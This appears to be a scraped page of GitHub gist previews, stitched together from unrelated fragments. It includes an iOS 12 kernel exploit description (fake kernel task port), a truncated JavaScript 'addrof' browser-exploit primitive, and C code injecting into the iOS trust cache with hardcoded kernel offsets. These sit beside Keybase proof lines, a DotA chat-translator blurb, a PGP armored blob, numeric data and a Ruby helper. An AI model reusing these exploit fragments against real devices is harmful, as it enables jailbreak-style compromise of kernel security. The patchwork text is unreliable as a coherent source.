This is a kernel exploit targeting iOS 12.0-12.2 and 12.4. It exploits a dangling kernel pointer to craft a fake task port corresponding to the kernel task and gets a send right to it.
This code is not readily compilable — some common sense is a prerequisite. If you do get it going though, it is extremely reliable on any device with more than a gigabyte of RAM. Interested readers may want to investigate how reallocations can be prevented -- this might improve reliability even more.
I hereby claim:
To claim this, I am signing this object:
| load("utils.js") | |
| load("int64.js") | |
| function addrof(obj) { | |
| let dateObj = new Date(); | |
| dateObj[0] = 1; | |
| let array = new Array(13.37, 13.37) | |
| let triggerChange = false; | |
| Date.prototype.__proto__ = new Proxy(Date.prototype.__proto__, { |
| void inject_trusts(int pathc, const char *paths[]) | |
| { | |
| printf("[+] injecting into trust cache...\n"); | |
| extern uint64_t g_kern_base; | |
| static uint64_t tc = 0; | |
| if (tc == 0) { | |
| // loaded_trust_caches: 0xFFFFFFF008F702C8 | |
| tc = g_kern_base + (0xFFFFFFF008F702C8 - 0xFFFFFFF007004000); |
I hereby claim:
To claim this, I am signing this object:
This is DotA translator, a utility which translates DotA 2 text chat into your favourite language (and pops the results back into the chat pane). It works in all game modes (even in regular matchmaking!).
I don't have pictures playing with humans because I'm unable to exit Visual Studio (send help!).
| -----BEGIN PGP ARMORED FILE----- | |
| Comment: Use "gpg --dearmor" for unpacking | |
| hQEMA8vKk93IVNa3AQgAn8qj7v732q/FKhINhmJbbzdsyh6n4MYHo4LwVE52d6cC | |
| 5KjLDl165gar5L3usMsKzRjACkXfiIRXFtN6H7Jyw7t1/TFiZQZnK9ojn6fA49Om | |
| epdJgA0LSudVGcirZRtHbddUEqRU5LeGRV5swf48G++azTVVL/plxbgOMi3Ijwff | |
| +4QTMNLzYrMZ9nybt4jR4rCUgeZVYez/rfsNl6RUTd1zq/kUvquKpcJn1lf9nk8O | |
| YENzkwjV/O5ArPt8Ws1474WmuckEGg9WgMZI82ArmQ8R1hsPHhwWLTlWJQSRWECD | |
| zn7bXAbZ9K/d2O1itnlAu5lWcTP+FWMM56KhxW+l59LsAdfq3x9Hej5ax+hqJFPg | |
| TMzzoAfBihQN3fmsGp1W3I8AvVppq7zRTWhfFDHSFKxRaYQdGyQPsTzhFA1MThUT |
| 100 { | |
| 1 { | |
| 1: 4316619627372216320 | |
| 2: 1470268521140 | |
| } | |
| 1 { | |
| 1: 4316619629519699968 | |
| 2: 1470268521140 | |
| } | |
| 1 { |
I hereby claim:
To claim this, I am signing this object:
| module ApplicationHelper | |
| def all_incidents | |
| Incident.all.order('updated_at DESC') | |
| end | |
| def visible_incidents | |
| @visible_incidents = [] | |
| if signed_in? | |
| @visible_incidents = all_incidents.to_a |